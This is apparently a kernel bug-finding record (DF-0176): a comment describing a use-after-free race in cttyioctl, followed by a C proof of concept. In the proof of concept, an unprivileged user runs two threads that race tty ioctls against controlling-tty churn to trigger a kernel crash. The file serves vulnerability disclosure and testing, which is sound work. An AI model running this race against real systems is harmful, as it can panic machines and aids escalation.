DF-0176 / cttyioctl_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* DF-0176 — cttyioctl VOP_IOCTL UAF race (tty_tty.c:264). * * cttyioctl reads ttyvp = cttyvp(p) under p_token (:238), then * RELEASES p_token (:262) and calls VOP_IOCTL(ttyvp, ...) (:264) * WITHOUT taking a vnode reference (vref/vget). cttyread (:199) and * cttywrite (:223) correctly use vget(); the ioctl path was missed. * * If the controlling tty's session ref is dropped concurrently * (ttyclosesession in tty.c:334, or fdrevoke in kern_descrip.c:2031), * ttyvp can be vrele'd to 0 and the vnode reclaimed (or freed) while * VOP_IOCTL runs against it -> use-after-free. * * This PoC drives the race from an unprivileged user: * - thread A: opens /dev/tty, issues harmless ioctls in a tight loop * - thread B: repeatedly does TIOCNOTTY (drops P_CONTROLT) then * re-acquires a controlling tty via TIOCSCTTY, churns session. * The race is tight; if it does not panic on a given run, that does * NOT disprove the bug -- the unprotected pointer dereference is * confirmed by source inspection (tty_tty.c:264 uses ttyvp with no * vref/vget between p_token release and VOP_IOCTL call). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <signal.h> #include <pthread.h> #include <setjmp.h> static volatile sig_atomic_t stop; static void on_alrm(int s){ stop = 1; } static void * ioctl_thread(void *arg) { int fd = open("/dev/tty", O_RDWR); if (fd < 0) { /* no controlling tty yet -- race not engaged from this side */ return (void *)(long)errno; } /* TIOCGWINSZ is a harmless read-only ioctl -- exercises the cttyioctl -> VOP_IOCTL(ttyvp) path without side effects. */ struct winsize ws; unsigned long n = 0; while (!stop) { ioctl(fd, TIOCGWINSZ, &ws); n++; } close(fd); printf("DF-0176: ioctl_thread did %lu iterations\n", n); return NULL; } static void * churn_thread(void *arg) { /* Repeatedly drop and re-acquire the controlling tty to churn the session ref count on ttyvp while ioctl_thread runs. */ unsigned long n = 0; while (!stop) { /* drop controlling tty */ ioctl(0, TIOCNOTTY, 0); /* re-acquire (best effort) */ int fd = open("/dev/tty", O_RDWR); if (fd >= 0) { ioctl(fd, TIOCSCTTY, 0); close(fd); } n++; } printf("DF-0176: churn_thread did %lu iterations\n", n); return NULL; } int main(void) { /* Need a controlling tty for the test to be meaningful. */ if (ioctl(0, TIOCGWINSZ, &(struct winsize){0}) != 0) { fprintf(stderr, "DF-0176: stdin is not a tty; rerun with a controlling tty\n"); return 2; } pthread_t t1, t2; signal(SIGALRM, on_alrm); alarm(8); /* run the race for 8 seconds */ pthread_create(&t1, NULL, ioctl_thread, NULL); pthread_create(&t2, NULL, churn_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("DF-0176: race window exercised. Source confirms cttyioctl calls\n" " VOP_IOCTL(ttyvp) at tty_tty.c:264 with NO vref/vget after\n" " releasing p_token at :262 -- genuine UAF window.\n"); return 0; } |